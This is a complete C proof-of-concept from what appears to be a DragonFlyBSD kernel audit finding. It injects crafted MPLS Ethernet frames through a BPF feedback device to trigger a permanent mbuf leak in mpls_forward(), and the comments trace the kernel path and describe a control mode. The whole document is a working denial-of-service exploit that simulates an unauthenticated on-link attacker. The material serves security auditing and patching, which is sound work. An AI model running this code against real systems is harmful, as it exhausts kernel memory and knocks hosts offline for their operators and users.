โฌข DragonFlyBSD Kernel Audit
DF-3468 / mpls_leak.c
โ† back to finding โ†“ download raw
/*
 * DF-3468 โ€” mpls_forward() route-miss mbuf leak โ€” live trigger.
 *
 * Injects N Ethernet frames with EtherType 0x8847 (MPLS unicast) carrying a
 * single MPLS label 1000 (S-bit SET so we do NOT hit the known DF-0751
 * label-0/label-2 `goto again` infinite loop), TTL=64, plus padding so each
 * frame occupies an mbuf + cluster.
 *
 * Path on an `options MPLS` kernel with NO AF_MPLS routes (default state):
 *   ether_input -> ether_demux_oncpu (ETHERTYPE_MPLS -> NETISR_MPLS)
 *   -> mpls_input_handler -> mpls_input()
 *   -> label 1000 > 15, mplsforwarding == 1  -> mpls_forward(m)
 *   -> rtalloc(&mplsforward_rt[cpu]) misses  -> ro_rt == NULL
 *   -> mpls_input.c:200-203  `return;`  WITHOUT m_freem(m)   *** LEAK ***
 *
 * Observable: `netstat -m` "mbufs in use" / "mbuf clusters in use" climb by
 * exactly N after N frames and NEVER come back down (permanent leak).
 *
 * Control mode: pass ethertype 0x88B7 (unknown) โ€” frames are dropped in
 * ether_demux_oncpu and freed immediately; counts stay flat.
 *
 * Usage: ./mpls_leak <ifname> <count> [ethertype-hex]
 * Requires root (opens /dev/bpf), uses BIOCSFEEDBACK so the frame is fed
 * back into ifp->if_input exactly as if received from the wire โ€” this
 * simulates the unauthenticated on-link attacker.
 */
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <net/if.h>
#include <net/bpf.h>
#include <net/ethernet.h>
#include <arpa/inet.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <err.h>

#ifndef ETHERTYPE_MPLS
#define ETHERTYPE_MPLS 0x8847
#endif

#define FRAME_SIZE 1400		/* mbuf + cluster per frame */

int
main(int argc, char **argv)
{
	const char *ifname = (argc > 1) ? argv[1] : "vtnet0";
	int count  = (argc > 2) ? atoi(argv[2]) : 500;
	int etype  = (argc > 3) ? (int)strtoul(argv[3], NULL, 16) : ETHERTYPE_MPLS;
	char dev[16];
	int fd, i, n;
	struct ifreq ifr;
	u_int dlt;
	u_int imm = 1;
	unsigned char frame[FRAME_SIZE];
	unsigned int shim;
	int label = 1000, ttl = 64, sbit = 1;	/* S=1: avoid DF-0751 loop */

	/* find a free bpf device */
	for (i = 0; i < 16; i++) {
		snprintf(dev, sizeof(dev), "/dev/bpf%d", i);
		fd = open(dev, O_RDWR);
		if (fd >= 0)
			break;
	}
	if (fd < 0)
		err(1, "open bpf");

	memset(&ifr, 0, sizeof(ifr));
	strlcpy(ifr.ifr_name, ifname, sizeof(ifr.ifr_name));
	if (ioctl(fd, BIOCSETIF, &ifr) < 0)
		err(1, "BIOCSETIF %s", ifname);
	if (ioctl(fd, BIOCIMMEDIATE, &imm) < 0)
		err(1, "BIOCIMMEDIATE");
	if (ioctl(fd, BIOCSFEEDBACK, &imm) < 0)
		err(1, "BIOCSFEEDBACK");
	if (ioctl(fd, BIOCGDLT, &dlt) < 0)
		err(1, "BIOCGDLT");
	if (dlt != DLT_EN10MB)
		errx(1, "unexpected DLT %u", dlt);

	/*
	 * DF bpf_movein(DLT_EN10MB) strips the leading 14 bytes into the
	 * output sockaddr; the BIOCSFEEDBACK copy is m_dup'ed from the
	 * STRIPPED mbuf and fed to ether_input().  We therefore write the
	 * real ether header TWICE: after the strip, the feedback copy starts
	 * with the second copy of the real header and ether_demux sees
	 * EtherType 0x8847 as intended.
	 */
	memset(frame, 0, sizeof(frame));
	for (i = 0; i < 6; i++) frame[14+i] = 0xff;		/* dst bcast */
	frame[14+6]=0x52; frame[14+7]=0x54; frame[14+8]=0x00;	/* src */
	frame[14+9]=0x12; frame[14+10]=0x34; frame[14+11]=0x56;
	frame[14+12] = (etype >> 8) & 0xff;
	frame[14+13] = etype & 0xff;
	/* dummy first header (consumed by bpf_movein): bcast dst, our src */
	for (i = 0; i < 6; i++) frame[i] = 0xff;
	memcpy(frame+6, frame+14+6, 6);
	frame[12] = (etype >> 8) & 0xff;
	frame[13] = etype & 0xff;

	/* MPLS shim: label 1000, exp 0, S=1, TTL 64 (network byte order) */
	shim = ((label & 0xfffff) << 12) | (0 << 9) | (sbit << 8) | (ttl & 0xff);
	frame[28] = (shim >> 24) & 0xff;
	frame[29] = (shim >> 16) & 0xff;
	frame[30] = (shim >> 8) & 0xff;
	frame[31] = shim & 0xff;

	/* recognizable payload */
	for (i = 32; i < FRAME_SIZE; i++)
		frame[i] = (unsigned char)(i & 0xff);

	printf("DF-3468: if=%s frames=%d ethertype=0x%04x label=%d S=%d TTL=%d\n",
	    ifname, count, etype, label, sbit, ttl);

	for (i = 0; i < count; i++) {
		n = write(fd, frame, FRAME_SIZE);
		if (n != FRAME_SIZE)
			err(1, "write frame %d (n=%d)", i, n);
	}
	printf("DF-3468: injected %d frames (%d bytes each)\n", count, FRAME_SIZE);
	return 0;
}